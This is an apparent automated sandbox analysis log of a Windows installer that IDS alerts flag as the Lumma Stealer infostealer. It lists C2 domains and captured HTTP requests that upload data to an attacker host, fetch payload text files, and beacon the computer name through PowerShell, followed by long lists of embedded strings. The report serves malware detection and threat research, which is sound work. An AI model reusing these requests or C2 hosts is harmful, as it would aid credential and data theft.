Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.58:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: installer_1.05_36.8.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.2143167569.0000000007838000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\Mion.pdb source: powershell.exe, 00000011.00000002.2139013405.00000000032EF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.2143550776.0000000007874000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb= source: powershell.exe, 00000011.00000002.2143579205.00000000078C3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000011.00000002.2143579205.00000000078C3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: BrightLib.exe, 00000032.00000002.2726903754.00000000385E0000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2726728462.0000000038280000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: BrightLib.exe, 00000032.00000002.2726903754.00000000385E0000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2726728462.0000000038280000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Directory queried: number of queries: 1001

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49738 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49737 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49738 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49744 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49740 -> 104.21.96.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: siffinisherz.sbs
Source: Malware configuration extractor	URLs: cloudewahsj.shop

Source: Joe Sandbox View	IP Address: 104.21.96.1 104.21.96.1
Source: Joe Sandbox View	IP Address: 185.161.251.21 185.161.251.21
Source: Joe Sandbox View	IP Address: 172.67.208.58 172.67.208.58

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 185.161.251.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49746 -> 172.67.208.58:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2008438 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send a Text File : 172.67.208.58:443 -> 192.168.2.4:49746

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: siffinisherz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: siffinisherz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DRFUZ3GO1IEW8O4YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18152Host: siffinisherz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JZ3T7EOLSYO31BZR4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: siffinisherz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Q3NZFM9X6DHLXT2WGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: siffinisherz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=E2DQQ997MVLUZJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1234Host: siffinisherz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1Q87D89GW5U35XHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1112Host: siffinisherz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 115Host: siffinisherz.sbs
Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: global traffic	DNS traffic detected: DNS query: TMrpvriLnIKTuysIDWwGP.TMrpvriLnIKTuysIDWwGP
Source: global traffic	DNS traffic detected: DNS query: siffinisherz.sbs
Source: global traffic	DNS traffic detected: DNS query: cegu.shop
Source: global traffic	DNS traffic detected: DNS query: klipvumisui.shop
Source: global traffic	DNS traffic detected: DNS query: dfgh.online

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: siffinisherz.sbs

Source: installer_1.05_36.8.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: installer_1.05_36.8.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: installer_1.05_36.8.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: installer_1.05_36.8.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Separated.8.dr, Likewise.com.1.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Separated.8.dr, Likewise.com.1.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Separated.8.dr, Likewise.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Separated.8.dr, Likewise.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Separated.8.dr, Likewise.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertr
Source: installer_1.05_36.8.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: installer_1.05_36.8.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: installer_1.05_36.8.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: installer_1.05_36.8.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: installer_1.05_36.8.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/Sectig
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: BrightLib.exe, 00000032.00000002.2699238769.0000000000AEE000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2700716381.000000000623C000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2700113532.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://michaeluno.jp/
Source: BrightLib.exe, 00000032.00000002.2700113532.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://michaeluno.jp/4
Source: BrightLib.exe, 00000032.00000002.2700162595.0000000003316000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://michaeluno.jp/CA498BC144886901448821408869FF408871FE4883C10448FFC875E84803D349FFC875DA8B8C249
Source: installer_1.05_36.8.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000011.00000002.2142050389.0000000006198000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp, installer_1.05_36.8.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: installer_1.05_36.8.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: installer_1.05_36.8.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: installer_1.05_36.8.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Separated.8.dr, Likewise.com.1.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Separated.8.dr, Likewise.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Separated.8.dr, Likewise.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Separated.8.dr, Likewise.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 00000011.00000002.2139406602.0000000005286000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2143167569.0000000007838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: powershell.exe, 00000011.00000002.2139406602.0000000005131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Separated.8.dr, Likewise.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Separated.8.dr, Likewise.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://subca.ocsp-certum.com01
Source: powershell.exe, 00000011.00000002.2139406602.0000000005286000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2143167569.0000000007838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: BrightLib.exe, 00000032.00000000.2648503782.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2699170981.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.autohotkey.com
Source: BrightLib.exe, 00000032.00000000.2648503782.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2699170981.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.autohotkey.comCould
Source: Likewise.com, 0000000C.00000000.1731060687.0000000000875000.00000002.00000001.01000000.00000007.sdmp, Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Brandon.8.dr, Likewise.com.1.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://www.certum.pl/CPS0
Source: installer_1.05_36.8.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: BrightLib.exe, 00000032.00000002.2727197174.0000000039B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2038355405.0000000003875000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000011.00000002.2139406602.0000000005131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2038355405.0000000003875000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2038355405.0000000003875000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2038355405.0000000003875000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000011.00000002.2142050389.0000000006198000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.2142050389.0000000006198000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.2142050389.0000000006198000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000011.00000002.2139406602.0000000005286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online
Source: powershell.exe, 00000011.00000002.2139406602.0000000005131000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2139226308.0000000003480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=
Source: powershell.exe, 00000011.00000002.2143550776.0000000007874000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2139406602.0000000005286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=user-PC
Source: powershell.exe, 00000011.00000002.2143078253.0000000007681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compname=
Source: Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
